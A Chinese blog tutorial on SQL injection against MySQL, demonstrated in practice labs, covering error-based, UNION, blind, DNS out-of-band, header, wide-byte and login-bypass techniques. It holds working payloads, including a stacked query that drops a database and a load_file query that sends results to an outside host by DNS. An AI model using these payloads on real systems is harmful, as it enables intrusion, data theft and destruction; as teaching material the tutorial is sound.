SQL注入原理与信息获取及常规攻击思路靶场实现

news/2024/5/19 15:20:36/文章来源:https://blog.csdn.net/m0_74220316/article/details/137607585

SQL注入原理与信息获取及常规攻击思路靶场实现

很早的时候就写了,权当备份吧

Web程序三层架构

在这里插入图片描述

表示层 :与用户交互的界面 , 用于接收用户输入和显示处理后用户需要的数据
业务逻辑层 :表示层和数据库访问层之间的桥梁 , 实现业务逻辑 ,验证、计算、业务规则等等
数据访问层 :与数据库打交道 , 主要实现对数据的增、删、改、查

而SQL注入恰好是发生在与数据库交互的过程中,精心构造的语句通过逃避业务逻辑层的筛选,再经过后端的拼接形成恶意的SQL语句,以达到恶意入侵的目的,但是由于每个网站的数据访问层逻辑差异,我们需要对对应语句格式进行猜测,进行试错

SQL注入漏洞原理

SQL注入的产生是由于服务器在处理SQL语句时错误地拼接用户的提交参数,打破原有的SQL执行逻辑,导致攻击者可以部分或完全掌控SQL语句的执行效果,只要我们能在注入位置构造正确闭合,就可以利用SQL注入攻击目标

SQL注入的威胁来自于欺骗:

  • 攻击者欺骗服务器,使服务器认为自己是普通用户
  • 攻击者提交恶意参数欺骗服务器,让服务器认为是正常的参数

SQL注入是怎么发生的,我们下面我们来看个例子:

假如一个网站在用户登录时,传递参数 idpasswd ,那么后端将会在数据库中查找有关内容,即拼接sql语句,我们就可以猜测,在数据访问层可能进行了如下操作(注意此时我们假设后端未作传参限制)

select ... from ... where id and passwd

那么我们接下来的想法就很简单,如果我们已经知道一个id,或者只想获取这一个用户的数据,那么只要想办法将目标的passwd参数失效即可,而让参数失效,将它注释掉将是最好的选择,则构造以下语句:

select ... from ... where id = '已知id'  -- ' and passwd = ''

然后你会发现 最后的passwd被注释掉了,因为我们假设后端未作传参限制,则我们直接在用户id输入处输入以下内容即可 已知id' -- ,当id后面的单引号与后端拼接时加上的单引号构成一对时(SQL语句用单引号表示字符串),SQL语句中会认为第一个参数id已经结束,后面读取到--及其后面的空格时,它会认为passwd已被注释掉了,即passwd不起作用,实际进入数据库的语句如下:

select ... from ... where id = '已知id'

需要注意的是--后面必须要有空格才能生效(SQL语法的规则),如果说我们不知道id,也不知道密码,又应该如何构造呢,前文提到,where后面我们可以认为是一个逻辑表达式,那么只要保证它是一个重言式即可,可以如下构造:

select ... from ... where id = ''or 1=1 -- ' and passwd = ''

可以注意到 id里面实际上是没有参数的,而or 1=1 -- 恰好将passwd注释掉,将where后面的有效部分形成了一个重言式,实际进入数据库的语句如下:

select ... from ... where id=''or 1=1

此时如果后端也没有对返回数据做出限制,那么我们将直接在前端看到我们想要获取到的数据

同时我们甚至还可以利用SQL语句的多句执行特性构造出以下语句(假设我们通过其他手段得知数据库名,或关键字段)

select ... from ... where id = ''or 1=1; drop database user -- ' and passwd = ''

实际传入数据库为

select ... from ... where id = ''or 1=1;
drop database user ;

我们将直接干掉该网站的名为user的数据库,但是部分数据库不支持多语句执行,需要注意

SQL注入攻击分类

SQL注入攻击通常可以分为以下几种分类:

  1. 基于错误的注入(Error-based Injection):利用SQL语法错误或异常来获取数据库中的信息,比如通过构造一个错误的查询来获取数据库错误信息。
  2. 基于盲注的注入(Blind Injection):攻击者无法直接获取查询结果,但可以通过不同的方式,如延时注入(通过延长查询执行时间来判断条件真假)、布尔盲注(通过真假条件来判断条件真假)等方法来获取数据库信息。
  3. 联合查询注入(Union Query Injection):利用UNION关键字将攻击者构造的查询结果与原始查询结果合并返回,从而获取数据库中的信息。
  4. 时间盲注(Time-Based Blind Injection):通过构造恶意的SQL语句,使得数据库在执行时产生延时,从而判断条件真假。
  5. 堆叠查询注入(Stacked Query Injection):在一次数据库查询中执行多个SQL语句,从而绕过输入过滤和限制,执行恶意操作。
  6. 二次注入(Second-order Injection):攻击者利用应用程序在处理用户输入时未充分检查的漏洞,将恶意代码存储在数据库中,当后续处理这些数据时再次执行,从而实现注入攻击。

至于其他的注入分类则是依据注入的位置(注入点)不同而分类的

检测SQL注入位置

对于计算机程序来说,SQL注入无非就是用户输入的内容存在差别,那么按注入时输入的内容来看,无非就是数字类型与字符型类型,我认为不应该纠结于注入的分类,只需要注意一些可能出现注入的点即可,我们只需要知道,凡是用户可以进行数据提交,并且数据可能存储进数据库的点,均有可能发生SQL注入,就可以我们通常会以以下两种形式进行初步测试:

  • 拼接单引号等不闭合字符:
select ... from ... where xxx=xxx'
  • 拼接永真式与永假式联合检测:
select ... from ... where xxx=xxx and 1=1
select ... from ... where xxx=xxx and 1=2

还有一种较为隐蔽的注入检测,但是仅能作为低风险提示,部分数据库在运算时执行较大数学运算时会出现整数溢出问题,如较低版本的MySQL,我们在MySQL执行:select 99999999999999999999+21

MySQL抛出以下错误:BIGINT value is out of range in ‘99999999999999999999+21’

MySQL数据库的系统表

对于SQL注入,我们的主要目的是为了获取信息,所以我们必须先了解每种数据库的系统表所具有的内容,以快速获取信息:

系统库的作用及描述

  1. information_schema: information_schema 是一个系统数据库,包含了关于数据库服务器的元数据信息。它存储了关于数据库、表、列、索引、权限等方面的信息。information_schema 可以用于查询数据库结构、权限信息和其他数据库对象的详细信息。
  2. mysql: mysql 数据库包含了MySQL服务器的配置和授权信息。它存储了用户、权限、角色、密码等数据,用于身份验证和访问控制。通过 mysql 数据库,可以管理MySQL的用户和授权。
  3. performance_schema: performance_schema 是一个用于性能监测和分析的系统数据库。它提供了关于MySQL服务器性能的详细信息,包括查询执行、锁定、资源消耗等方面的数据。performance_schema 可用于分析和优化MySQL的性能。
  4. sys: sys 是MySQL 8.0版本引入的数据库,旨在提供更方便的性能分析和诊断工具。它建立在 performance_schema 和其他信息基础上,提供了一组存储过程和视图,以便更轻松地分析和理解MySQL的性能数据。

information_schema

在利用漏洞时,我们常常利用此数据库中以下元数据表:

表名描述
TABLES用于查找数据库中存在的表格信息,包括表名和存储引擎等。
COLUMNS用于查找表格的列信息,包括列名、数据类型等。
KEY_COLUMN_USAGE用于查找表格的外键和主键信息,可以帮助黑客了解数据库表格之间的关系。
TABLE_CONSTRAINTS用于查找表格级别的约束信息,包括主键、外键等约束。
VIEWS用于查找视图的信息,包括视图名、定义等。
ROUTINES用于查找存储过程和函数的信息,包括名称、参数等。
SCHEMATA用于查找数据库中的模式(schema)信息,包括数据库名等。

系统元数据库mysql

表名描述
user存储MySQL服务器的用户账户信息,包括用户名、密码、主机等。
db存储授权信息,指定哪个用户有权访问哪个数据库。
tables_priv存储表级别的权限信息,指定哪个用户对哪个表有特定权限。
columns_priv存储列级别的权限信息,指定哪个用户对哪个表的哪些列有特定权限。
procs_priv存储存储过程和函数的权限信息。
host存储允许连接到MySQL服务器的主机信息。
global_priv存储全局权限信息,指定哪个用户具有特定的全局权限。
func存储MySQL的内置和用户定义的函数信息。
time_zone存储时区信息。
time_zone_name存储时区名称信息。

报错注入原理

  • updatexml报错

updatexml函数用于更新xml文档内容,updatexml函数有三个参数:第一个参数是xml文档的对象名称,第二个参数是**xpath字符串**,第三个参数是用来替换xpath中查找到字符串的新内容,但是该函数有个特性,他会执行我们插入在xpath中的SQL字段,其中updatexml中的xml文档名称在注入时一般可以乱写,只要让它报错即可,并且支持回显示例用法如下:

select ... from ...  where ... and updatexml(... ,concat(0x3e,[函数或语句]), ...)

示例updatexml构造:

select ... from ... where id='' and passwd=''  

对于以上语句,我们可以在id处构造如下语句:' or updatexml(1,concat(0x3e,version()),1) -- 最后加个空格,形成:

select ... from ... where id='' or updatexml(1,concat(0x3e,version()),1) -- ' and passwd=''  

将返回报错语句:XPATH syntax error: '>[版本号]'

  • extractvalue报错

extractvalue用于查找xml文档中的内容

extractvalue函数有两个参数:第一个参数是xml对象名称,第二个是**xpath字符串**,它与updatexml具有相似的特性这里不做过多赘述,我们一样可以如上构造:

select ... from ...  where ... and extractvalue(... ,concat(0x3e,[函数或语句]))
select ... from ... where id=''or extractvalue(1,concat(0x3e,version())) -- ' and passwd=''  

你可能注意到了,我们在对应的xpath字符串位置使用了concat(0x3e,[函数或语句])的形式,在我们想要的语句前拼接了一个16进制的ascii码,这是因为我们为了使xpath处报错,使用了非标准的xpath路径,为了使报错信息完整,故我们使用了这一方法,要获取其他字符的16进制ascii码可使用python:

print(hex(ord(字符)))快速获取

  • floor函数报错

floor(N)函数用于返回小于等于N的一个最大整数,floor(13.5)返回13

count()函数用于统计行数,通常有count(*),count(1),count(列名),其中前两者统计时会将数据为NULL值算入,而count(列名)不会算入NULL

rand()函数用于返回一个伪随机值(浮点型):rand()函数括号中可以带有一个初始值,我们称之为种子,当不携带种子时rand()将返回一个0-1间的随机值,携带种子后,将会返回一个固定的随机序列

floor(i + rand() *(j − i))两者嵌套使用,将返回一个ni <= n < j,注入时我们利用的是多次运行这个语段所产生的随机数列

group by用来筛选出其后跟上的条件符合的数据,并且进行分组,它在分组时会产生一张表,用于储存数据(可以暂时理解成一张临时数据表),并且表在查询写入是两个过程,先查询后写入

floor报错注入正是利用这个特性,在语句中嵌入特定floorrand语句,达到多次计算产生0101011的随机数列,于是我们有以下测试语句:

select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x)as y;

对于实际情况有以下构造:

' or (select 1 from (select count(*),concat(version(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x)as y) #

在此语句中,我们构造了两个嵌套的select语句,原因是group by产生的是一张数据表,当我们注入时,数据库服务器的查询语句筛选的特定的某个条件,而不是将一张表作为条件,所以我们进行嵌套,返回表中的数据

使用count用来进行数量统计产生表中的数据,利用它与group by将有相同特征数据合并的特性,保证每个不同特征的键值唯一

重点:floor(0+rand()*2)会产生0与1的随机数,在产生表时的查询过程中运算一次,写入过程中又运行一次,产生固定序列011011011则会有以下效果(为叙述方便暂时忽略拼接的version函数):

  • 若第一次产生0,表中无数据,直接记录。

  • 第二次产生1,查询有无1,要将它进行计数,并且写入表,写入表时产生1,正常进行,count计数

  • 第三次产生0,查询有0,写入时产生1,此时产生冲突,数据库会默认保存1的数据,在新的行中

此时新的列表中有以下内容:

KEYCOUNT
01
11
12

全过程总共5次计算,可以看出数据库里至少要有三条数据,才能成功,否则查找终止不会产生冲突键值

UNION注入原理

利用select 1,2,3...进行试探

在注入过程中,我们通常不知道前端与后端的交互会过滤掉哪些字符,我们可以用select 1,2,3 ...来试探,在第二个select语句中的数字是任意的,可重复,可乱序,数量可变,如果仅仅使用select 1,2,3将返回一张1行3列的表,并且表名和数据名全是我们select中的数字,我们可以通过对应的数字的缺位来判断返回的字段数

  • union语法

union用于合并两个以上语句的搜索结果作为数据集,但是union中的select语句必须有相同的列,并且每列的数据类型必须一致,但是union语句所形成的数据集不会有重复内容,如果要显示重复数据,需要使用union all,通常我们使用以下语句:

select ... from ...
union
select 1,2,3,4 ...
select ... from ...
union all
select 1,2,3,4 ...
  • 进行注入

union注入一般用于检测出注入位置查询了几个参数,我们以dvwa为例,构筑语句:

select ... from ... where ... union select 1  # xxxx

我们直接抓包修改参数id为:'union select 1 # 然后放包得到数据库查询参数不一致的回显

在这里插入图片描述

然后我们就依次进行反复尝试,增加查询数,在输入'union select 1,2 # 时得到:

在这里插入图片描述

可以发现,查找数据为两条,回显数据也是两条,为1,2位置,那么接下来就可以对两个位置进行尝试。

我们输入:'union select (select version()),2 #获得版本号(其他查询可自行尝试)

在这里插入图片描述

注意:union查询可以使用数字,字母或者null作为select后的试探字段,例如:

select ... from ... where ... union select 'a','b'  # xxxx
select ... from ... where ... union select null,null  # xxxx

我们在试探查询字段数时还有一种方法,我们可以如下进行构造:

select ... from ... where ... order by 1  # xxxx

当我们超过了查询字段数时,如在dvwa中输入 'order by 3 #,得到报错:

在这里插入图片描述

可以由此逐步推断出查询字段数为2,但是在使用union注入时,不能够在order by后面进行注入

布尔盲注原理

布尔盲注常见的就是and 1=1and 1=2or 1=1利用这些逻辑表达式将用于查询的SQL语句变为永真式或永假式以此来获取更多的数据,MySQL通常还有以下的注入方法:

运算Payload
异或1 xor 1=1
按位与& 1=1
&& 1=1
按位或| 1=1
|| 1=1

但是对于多数Web应用,1=1此类往往受到屏蔽,我们可以利用其他语句绕过:

运算Payload
大于1>2
小于1<2
大于等于4> =3
小于等于3<=2
不等于5<>5
不等于5!=5
兼容空值等于3<= >4

亦或者使用模糊查找:

运算Payload
在 … 和 … 之间5 is between 1 and 6
模糊匹配1 like 1
空值断言1 is null
非空断言1 is not null
正则匹配1 is regexp 1
数组查找1 in (1)
  • 利用布尔注入发起攻击

注意:布尔注入返回到的都只有真或假两种情况,要么永真式+and+payload,要么永假式+or+payload。只有尽可能转化为真或假两种情况,才能获取更多有用的信息

获取数据库的数目,我们在注入点后面拼接:

1 and (select count(*) from information_schema.schemata)>a   # a为数据库的数量估计数目

枚举获取第一个数据库的名称,我们进行拼接:

1 andselect ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>a
# a为猜测的ascii码值

首先使用mid函数,它有三个参数:mid(待查找字符串,起始字符位置,匹配的字符串长度),limit接收两个参数:limit(起始行的上一行,筛选行数目),则上述语句是对第一个数据库的第一个字符进行测试

获取指定数据库security表的数目:

1 andselect count(*) from information_schema.tables where table_schema='security')>a
# a为表的数量估计数目

同理猜测表名:

1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='security')>a 		# a为猜测的ascii码值

然后获取字段:

1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='security')>a		# a为字段的数量估计数目

猜测字段:

1 andselect ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>a
# a为猜测的ascii码值

以上就是常见的发起布尔注入攻击的方式,但是从上面的讲解可以发现,这种攻击会发起大量类似的请求,在进行防御时需要注意,下面介绍时间注入攻击也是如此

皮卡丘靶场布尔注入关卡,我们已知有一个用户kobe,我们就可以利用and拼接来进行布尔盲注:

kobe' and (length(database())=4)#

在这里插入图片描述

因为存在布尔注入,故在and后面的表达式为真时将返回kobe原有的信息,而在后面条件为假时将不会返回数据,接下来继续拼接测试:

kobe' and (length(database())=7)#

在这里插入图片描述

返回了kobe的信息,则数据库名的长度为7,我们继续测试数据库的名称

kobe' and ascii(mid(database(),1,1))<111#   

在这里插入图片描述

我们继续拼接:

kobe' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

即数据库名的第一个字母的ASCII码值为112,为字母p

时间盲注原理

时间注入攻击利用的是数据库响应时间来进行攻击的一种方式,通常是利用数据中可以延长相应时间的函数来实现,通常来讲只要网站响应时间大于设定的时间,即可认为存在时间盲注漏洞,但是部分网站会设置强制返回时间

注意:MySQL 的优化器在执行查询时会尝试优化查询计划,以提高查询性能。在这种情况下,MySQL 可能会在查询优化过程中预先计算 IF 函数的结果,因此不会真正触发 SLEEP 函数的延时操作。这是为了避免潜在的性能问题。所以直接在终端运行并不能达到延时的效果

  • 利用sleep函数盲注
1 and sleep(3)

sleep函数接收一个参数,其单位为秒

  • 利用benchmark
1 or benchmark(函数执行次数,运行的表达式)
1 and benchmark(函数执行次数,运行的表达式)

benchmark函数用于衡量数据库的性能指标,当运行次数足够多时,也会造成数据库缓慢响应,虽然benchmark函数的返回值总为0,但是在使用时仍会在执行对应次数后得到返回值

  • 笛卡尔积延时
select * from1,2

数据库在查询两张表时,遵循将结果以离散数学中的笛卡尔积方式进行合并成一张结果表,只要两张表的数据结果合并后足够大,也可以造成响应时间延长

  • 特殊:数据库与网站长连接情况下的锁定盲注
select get_lock('锁名',超时时间)

get_lock函数用于向MySQL请求一个锁,如果在超时时间内获取到锁,将会立即返回1,否则将在超时时间后返回0,在满足长连接的条件下,我们在第一个会话中使用该语句select get_lock('test',1),请求一个锁在1秒内返回,获取成功后,我们再新建一个与网站的会话中使用select get_lock('test',5),获取一个和前一个会话中同名的锁,此时由于前一个会话占用了该锁,则此时第二会话中的获取必然是失败的,即数据库响应时间延长(如果第一会话中直接获取失败该锁(有可能恰好其他会话占用该锁,虽概率极小),可修改超时时间继续测试(后续该锁可能会由于其他会话结束而释放,故多测试几次),倘若仍然成立则可以直接判定存在时间盲注漏洞

利用时间盲注发起攻击

我们利用if函数进行攻击(这里仅以sleep进行演示猜测当前数据库名):

1 and if (ascii(mid(database(),1,1))=a,sleep(3),1)	# a为猜测的数据库名第一个字母的ascii码值

if函数接收三个参数:if(条件语句,为真返回,为假返回),此语句表示当ascii(mid(database(),1,1))=a成立时数据库执行sleep(3),我们在输入框中拼接:

' or (if(ascii(mid(database(),1,1))>111,sleep(3),1))#

在这里插入图片描述

发现十分明显的延时,即数据库名的的第一个字母ASCII码值大于111

DNS外带注入

dns外带注入属于一种较为特殊的注入手段,它是将查询的结果通过其他通道带出来的操作方式,但是此注入需要有一定的条件:数据库服务器必须是windows平台,mysql的secure_file_priv必须允许导入导出操作

在 MySQL 数据库中,secure_file_priv 是一个配置选项,用于指定允许从哪个目录加载或保存文件。这个选项可以帮助增强数据库的安全性,限制了从数据库服务器上可以访问的文件的范围。这主要用于防止未经授权的访问或滥用,例如防止用户将恶意文件加载到数据库服务器上。

以下是 secure_file_priv 配置选项的释义:

  • 如果 secure_file_priv 被设置为一个目录路径,例如:/var/lib/mysql-files/,那么 MySQL 只允许从这个目录加载或保存文件。这意味着在查询中使用 LOAD DATA INFILESELECT ... INTO OUTFILE 等语句时,只能从指定目录读取或保存文件。
  • 如果 secure_file_priv 被设置为一个空字符串,则 MySQL 允许从任何位置加载或保存文件,这可能会增加数据库的安全风险,因为用户可以访问服务器上的任何文件。

通过设置适当的 secure_file_priv 值,数据库管理员可以更好地控制数据库服务器上文件的访问权限,从而减少潜在的安全风险。例如,可以将 secure_file_priv 设置为一个特定的目录,仅允许用户在这个目录中加载或保存文件,从而限制了潜在的安全漏洞。

注意:在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,配置文件中不会出现该条目,需要自行添加,运行以下语句查看:

show global variables like '%secure%';

我使用的是5.7.26,默认情况下为NULL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         | NULL  |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)

在MySQL的配置文件中增加secure_file_priv=后重启MySQL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

load_file使用

LOAD_FILE 是 MySQL 中的一个函数,用于从文件系统中加载文件的内容并将其作为字符串返回。这个函数的一般语法如下:

LOAD_FILE(file_name)
  • file_name: 指定要加载的文件的路径和名称。

请注意以下几点:

  1. 权限: MySQL服务器必须具有文件读取权限,否则 LOAD_FILE 函数可能会返回 NULL 或抛出错误。具体来说,MySQL进程的操作系统用户需要有访问该文件的权限。
  2. 路径: 如果提供的文件名是绝对路径,MySQL会尝试从该路径读取文件。如果是相对路径,MySQL会从其数据目录开始搜索文件。并且路径使用正斜杠/
  3. 返回值: 如果成功读取文件,LOAD_FILE 返回文件的内容作为字符串;否则返回 NULL

例如,假设你有一个名为 example.txt 的文件,它位于MySQL数据目录下的 files 子目录中,可以使用以下语句加载该文件:

SELECT LOAD_FILE('files/example.txt') AS file_content;

数据目录路径

在MySQL的配置文件中有一项(以phpstudy展示):

datadir=D:/PhpStudy/Extensions/MySQL5.7.26/data/

load_file在允许下默认读取该目录,比如我在其中放一个flag.txt文件然后读取:

mysql> select load_file('./flag.txt');
+------------------------------+
| load_file('./flag.txt')      |
+------------------------------+
| flag={'this is a flag file'} |
+------------------------------+
1 row in set (0.00 sec)

DNS注入检测

我们在注入点拼接:

select load_file('\\\\域名\\共享路径')		# 书写时注意路径中的\转义

此处使用的是Windows下的UNC语法,UNC(Universal Naming Convention)是一种用于标识和访问网络资源的命名约定。它通常用于指定共享文件夹、打印机和其他网络设备的路径。UNC路径提供了一种统一的方式来标识网络上的资源,无论这些资源位于哪台计算机上。

UNC路径的基本语法如下:

\\server\share\path\filename
  • \\server:表示网络上的服务器名称或IP地址。它指定了资源所在的计算机。
  • share:表示共享资源的名称,如共享文件夹或打印机共享的名称。
  • path:表示共享资源内的路径,即文件夹层次结构。可以是一个或多个文件夹名称,用反斜杠 \ 分隔。
  • filename:表示文件名或目标资源的名称。

以下是一些示例UNC路径:

  • \\server\share:表示访问位于 server 计算机上名为 share 的共享资源的根目录。
  • \\192.168.0.100\share\documents:表示通过IP地址访问位于 192.168.0.100 计算机上名为 share 的共享资源中的 documents 文件夹。
  • \\fileserver\shared\files\report.docx:表示访问位于 fileserver 计算机上名为 shared 的共享资源中的 files 文件夹中的 report.docx 文件。

UNC路径在网络环境中广泛使用,可用于访问共享文件夹、打印机、网络存储设备等。它提供了一种统一的命名约定,使得在网络上定位和访问资源变得更加方便和可靠。

当上述语句执行后,存在漏洞则会在目标域名的DNS服务器上收到一条解析记录,不过需要注意的是在使用域名时,域名最好尽量生僻,减少无辜用户解析到目标主机,降低干扰

这种不通过直接观察页面来实现的注入,又称盲打技术,除去DNS请求外,HTTP,RMI等等也被常用来进行注入

利用DNS注入发起攻击

首先我们应该注意域名的编码和长度限制问题,我们可以使用最常见的HEX编码我们的域名

域名对字符的限制包括以下几个方面:

  1. 字符集限制:域名只能使用ASCII字符集,包括字母(a-z,不区分大小写)、数字(0-9)和连字符(-)。

  2. 字符长度限制:域名的总长度限制为63个字符。这个长度不包括顶级域名(如.com、.net等)部分。

  3. 标签长度限制:域名由多个标签(Label)组成,标签之间使用点号(.)分隔。每个标签的长度限制为63个字符。

  4. 首尾字符限制:域名的标签不能以连字符(-)开头或结尾。

  5. 大小写不敏感:域名在解析时是大小写不敏感的,即www.example.comWWW.EXAMPLE.COM被视为相同的域名。

利用DNS注入发起攻击

我们可以将如下语句进行拼接:

select load_file(concat('\\\\',(注入语句),'域名及共享名/路径'))		# 通常进行DNS注入利用点即域名前的部分

例如我们要获取当前数据库的名称:

select load_file(concat('\\\\',(select database()),'test.com/path'))

HTTP报文注入

当数据库需要记录HTTP报文中user-agentgetpostcookie等字段时未作出严格过滤的情况下,将会出现此类注入。所谓的GET注入,POST注入,Cookie注入,Referer注入,User-Agent注入等就是依据发生注入的位置(注点)不同而分类。由于HTTP报文本身是为了更好的传递数据,所以在它的任何位置都有可能出现注入,下面我们以皮卡丘靶场演示(注意语句不能够过长,超出限定范围,故此处不做过多演示,仅获取数据库版本信息),在提示中获取正确的用户名和密码,然后我们登录得知数据库记录了以下信息:

在这里插入图片描述

接下来使用burp找到对应的数据报进行测试(一般来讲此类注入多为insert或者update注入),我们在user-agent字段修改,并且得到以下报错结果:

test' or extractvalue(1,concat(0x3e,version())) or '      # 使用典型的insert注入

在这里插入图片描述

SQL动词注入

所谓的SQL动词注入实际上是指的注入时SQL语句所采取的行为,如插入查询语句的select注入,更新数据的update注入,插入新数据的insert注入,删除数据的delete注入,其中后三者通常使用报错注入的方式进行(有时也可采取时间盲注)。

  • insert注入与update注入演示

我们先来看一条正常的insert语句结构和示例:

insert into 表名(字段1,字段2,字段3, ...) values (数据1,数据2,数据3, ...);
insert into users (id, username, email) values (1, 'user1', 'user1@example.com');     # 语句示例

用户的输入一般集中在values后的值当中,我们在此处通常使用or来形成闭合,让该语句在进入数据库管理软件执行时报错:

insert into users (id, username, email) values (1, 'or 报错语句 or', 'user1@example.com');

下面我们直接在皮卡丘靶场演示,随便填写数据,然后抓包,我们在username进行拼接:

' or extractvalue(1,concat(0x3e,version())) or '

在这里插入图片描述

接下来我们建立一个正常账户测试我们的update注入:

在这里插入图片描述

点击修改信息,随便填一些信息然后抓包,对性别处进行注入,放出该修改后的数据包,得到应答:

在这里插入图片描述

  • delete注入

我们先看正常的delete语句:

delete from 表名 where 筛选条件;

由于delete是一种对符合条件的筛选删除操作,所以我们不能够在其后方执行除报错语句之外的查询语句,下面我们直接以皮卡丘靶场演示,进入对应模块,点击删除进行抓包,发现每次删除提交的id不一样,故我们选择在id处进行拼接:

在这里插入图片描述

我们对其进行拼接,然后因为是GET类型处拼接,我们需要对URL进行编码,放出数据包:

在这里插入图片描述

注意,在进行SQL动词注入时,需注意对应的字段长度限制,当超出字段长度,mysql将会抛出截断异常

SQL位置注入

实质上与上面的注入是类似的,无非就是构造的注点位置不同

  • 条件注入(发生在where处的注入)

在where后面通常跟随的是逻辑判断语句,故直接查询的方式的方式很少,通常是利用报错注入或时间盲注进行实现:

 select * from 表名 where 1=1 and (select updatexml(1,concat(0x7e,version()),1) );                 # 在后面使用and或or拼接语句select * from  表名 where 1=1 and (if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1));
  • order by注入

和where类似但是更加局限

select * from 表名 order by id,if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1);
select * from 表名 order by id,1 and updatexml(1,concat(0x7e,version()),1);
  • 数字型注入(整型注入)

由于数字不需要闭合,则可以直接构造:

select ... from ... where id=1 or 1=1
  • 字符型注入

需要闭合参数后的引号:

select ... from ... where id='xx' or 1=1'';   # 在正常语句中拼接了xx' or 1=1 '
select ... from ... where id='xx' or 1=1 #
  • 搜索型注入
select ... from ... where 参数 like '%待匹配值%';        # 这是一条正常的查询语句

我们对于搜索类语句,我们需要构造的是待匹配值的部分:

select ... from ... where 参数 like '%xx%' or 1=1 '%'; 		# 在正常语句中拼接了xx%' or 1=1 '
select ... from ... where 参数 like '%xx%' or 1=1 #; 

在皮卡丘靶场的搜索型注入关卡执行结果如下:

在这里插入图片描述

  • in注入

正常的sql语句:

select ... from ... where 参数 in(....)

构造闭合:

select ... from ... where 参数 in(1,2,3) and (1)=(1);			# 构造了闭合 3) and (1)=(1
select ... from ... where 参数 in('1','2','3') and ('1')=('1');		# 构造了闭合 '3') and ('1')=('1'

以皮卡丘靶场xx注入关卡示例,先构造payload:

3') or ('1')=('1

然后构造放包:

在这里插入图片描述

所谓的万能密码其实和上面类似。实际上就是构造闭合为永真式,在提到皮卡丘靶场的字符型关卡时,我们构造了:

select ... from ... ... id='' or 1=1 #...

这实际上就是一种类似于万能密码的东西,在早期网站中,我们经常构造如下语句:

select ... from ... ... username='admin' and passwd='a' or 'a'='a';

可以看出本质上还是一样的,下面写几个常见万能密码:

序号描述
1a’ or ‘a’='a
2a’ or 1#
3a"or"a"="a
4123 or 1
5a"'or"‘a"’="'a
6‘or’
7&mo#

&mo#的产生:早期一部分网站开发人员开始对数据库存储的管理员密码进行加密,被称为“admin5 加密”,也叫“ASCII逐位加密”。这种加密算法类似于恺撒密码,是一种对称加密算法。加密过程是对密码的第一位 ASCII 码加 1,第二位 ASCⅡ码加2…第n位ASCⅡ码加n。那么,对于“admin”这样的字段,经过加密后就变为“bfpms”了。
  对于使用这种方法加密的网站,用户提交的密码会经过 admin5 加密,再代入 SQL 语句中查询。攻击者可以反向推导, 提交一个这样的密码:“&mo#”。经过 admin5 加密以后,变成了“‘or’”,最后进入数据库语句中。

SELECT * FROM users WHERE username='admin' and password=''or''

值得一提的是,现在的密码大多数以哈希等算法加密,考虑用户名处拼接也是个不错的选择

宽字节编码注入

在处理用户输入字符串时,通常会将输入中的字符进行转义,将预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。这样构造普通的sql语句就不能够注入了,但是我们可以借助MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围)从而绕过转义

\转义为例,我们输入一个常规的字符型注入语句构造:

select ... from ... where id='xx' or 1=1 #' ...

那么转义后则:

select ... from ... where id='xx\' or 1=1 #' ...

可以发现我们构造的字符串失效了,接下来我们尝试宽字节注入

  • 构造宽字节注入

GBK编码是一种中文字符集编码方式,它是在GB2312编码基础上的扩展。GBK编码可以表示全部的中文字符,包括简体字和繁体字,并且还包括了一些其他国家的字符,如日文、韩文等。

GBK编码使用2个字节来表示一个字符,其中第一个字节的范围是0x81-0xFE,第二个字节的范围是0x40-0xFE。GBK编码的字符集共收录了21886个汉字和图形符号,其中包含了6763个简体汉字和682个繁体汉字。

GBK编码在计算机领域广泛使用,尤其是在中国大陆和台湾地区。它不仅可以满足中文字符的需求,还可以兼容ASCII编码,因此可以在同一个文本中同时包含英文、数字和中文字符。

我们可以在可能转义的地方嵌入一些可以构成gbk编码条件的特殊字符串,那么什么样的字符串是这样的字符串呢,我们可以输入一些常用的字符串,运行下列脚本:

# 输入一个普通字符串
string = input("输入字符串:")# 将字符串以GBK编码方式转换为字节序列
byte_sequence = string.encode('gbk')# 遍历字节序列,以"%xx"形式输出
output = ""
for byte in byte_sequence:output += "%{:02X}".format(byte)print("输出字符串:", output)

测试后输入\,可知其为%5C,我们常见的构造则是利用%df来进行构造,我们可以用python来看一下输出的结果:

import urllib.parse# 定义一个"%xx"形式的字符串
encoded_string = input("输入字符串:").upper()# 将"%xx"形式的字符串转换为普通字符串
decoded_string = urllib.parse.unquote(encoded_string, encoding='gbk')print("输出字符串:", decoded_string)

得到运行结果:

输入字符串:%df\
输出字符串: 運

则当我们加入sql语句后则为:

select ... from ... where id='xx%df\' or 1=1 #' ...     # 由于%df\是一个字符使得此处的转义失去了作用

我们以靶场演示,在皮卡丘靶场的宽字节注入处抓包写入,这里需要注意宽字节的URL编码问题,直接编码会导致注入不成功:

%df\'+or+1%3d1+%23

在这里插入图片描述

%df\的拼接字符在其他的编码中的编码表:

GBK十进制:57180 GBK十六进制:DF5C Unicode十进制:36939 Unicode十六进制:904B

数据库二次注入

所谓的二次注入发生在先将数据存储进数据库,然后再将数据取出带入SQL语句查询。这种漏洞实际情况下很难发现,一般是白盒审计得出,下面我们详细论述这一过程:

  1. 数据库收到我们传入的xx',然后将其转义为xx\',然后存入数据库时,据大多数数据库会将数据还原为xx'存入
